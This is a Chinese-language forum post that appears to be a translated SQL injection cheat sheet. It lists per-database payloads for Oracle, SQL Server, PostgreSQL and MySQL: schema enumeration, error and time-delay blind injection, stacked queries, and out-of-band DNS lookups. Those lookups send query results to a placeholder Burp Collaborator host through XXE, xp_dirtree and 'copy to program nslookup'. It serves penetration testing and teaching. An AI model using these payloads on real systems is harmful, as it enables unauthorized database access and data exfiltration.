SQL注入备忘单

998 2
HK.JH 2022-2-13 23:18:48 来自手机 | 显示全部楼层 |阅读模式
1. 字符串连接
你可以将多个字符串连接在一起,形成一个字符串。

Oracle        'foo'||'bar'
Microsoft        'foo'+'bar'
PostgreSQL        'foo'||'bar'
MySQL        'foo' 'bar' [注意在两个字符串中间有个空格]                     CONCAT('foo','bar')`
2. 字符串截取
你可以从具有指定长度的偏移量中提取字符串的一部分。注意,偏移量索引是基于1的。下面的每个表达式都将返回字符串 ba。

Oracle        SUBSTR('foobar', 4, 2)
Microsoft        SUBSTRING('foobar', 4, 2)
PostgreSQL        SUBSTRING('foobar', 4, 2)
MySQL        SUBSTRING('foobar', 4, 2)
3. 注释
您可以使用注释来截断查询,并删除你输入后的原始查询部分。

Oracle        --comment
Microsoft        --comment                    /*comment*/
PostgreSQL        --comment                    /*comment*/
MySQL        #comment                     -- comment [注意中间的空格]                     /*comment*/
4. 数据库版本查询
您可以通过查询数据库来确定其类型和版本。在构造更复杂的攻击时,这些信息很有用。

Oracle        SELECT banner FROM v$versionSELECT version FROM v$instance
Microsoft        SELECT @@version
PostgreSQL        SELECT version()
MySQL        SELECT @@version
5. 数据库内容查询
您可以列出数据库中存在的表,以及这些表包含的列。

Oracle        SELECT * FROM all_tables                    SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft        SELECT * FROM information_schema.tables                    SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL        SELECT * FROM information_schema.tables                    SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL        SELECT * FROM information_schema.tables                    SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
6. 条件错误
您可以测试单个布尔条件,如果条件为真,则触发数据库错误。

Oracle        SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
Microsoft        SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL        SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQL        SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
7. 批量(或堆叠)查询
您可以使用批处理查询来连续执行多个查询。注意,在执行后面的查询时,不会将结果返回给应用程序。因此,这种技术主要用于与盲注漏洞相关的工作,在盲注漏洞中,您可以使用第二个查询来触发DNS查找、条件错误或时间延迟。

Oracle        不支持批量查询
Microsoft        QUERY-1-HERE; QUERY-2-HERE
PostgreSQL        QUERY-1-HERE; QUERY-2-HERE
MySQL        QUERY-1-HERE; QUERY-2-HERE
注:在MySQL中,批处理查询通常不能用于SQL注入。但是,如果目标应用程序使用特定的PHP或Python api与MySQL数据库通信,这偶尔是可能的。

8. 延时
在处理查询时,可以在数据库中造成时间延迟。以下将造成10秒的无条件时间延迟。

Oracle        dbms_pipe.receive_message(('a'),10)
Microsoft        WAITFOR DELAY '0:0:10'
PostgreSQL        SELECT pg_sleep(10)
MySQL        SELECT sleep(10)
9. 有条件的延时
您可以测试单个布尔条件,如果条件为真,则触发时间延迟。

Oracle        SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft        IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL        SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL        SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')
10. DNS查询
您可以使数据库对外部域执行DNS查找。为此,您将需要使用Burp Collaborator客户端来生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以确认发生了DNS查询。

Oracle        以下技术利用XML外部实体(XXE)漏洞来触发DNS查询。该漏洞已被修复,但安装Oracle的仍有很多未打补丁:SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual以下技术适用于完全打补丁的Oracle安装,但需要提升权限:SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
Microsoft        exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
PostgreSQL        copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
MySQL        以下技巧只适用于Windows:LOAD_FILE('\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a')SELECT ... INTO OUTFILE '\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
11. DNS查询与数据提取
您可以让数据库对外部域执行DNS查询,查询中包括了SQL注入的结果。为此,您将需要使用Burp Collaborator客户端来生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以检索任何DNS交互的详细信息,包括已提取的数据。

Oracle        SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'\|\|(SELECT YOUR-QUERY-HERE)\|\|'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
Microsoft        declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')
| PostgreSQL | create OR replace function f() returns void as $$declare c text;declare p text;beginSELECT into p (SELECT YOUR-QUERY-HERE);  c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';execute c;END;$$ language plpgsql security definer;SELECT f(); || MySQL      | 以下技巧只适用于Windows: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行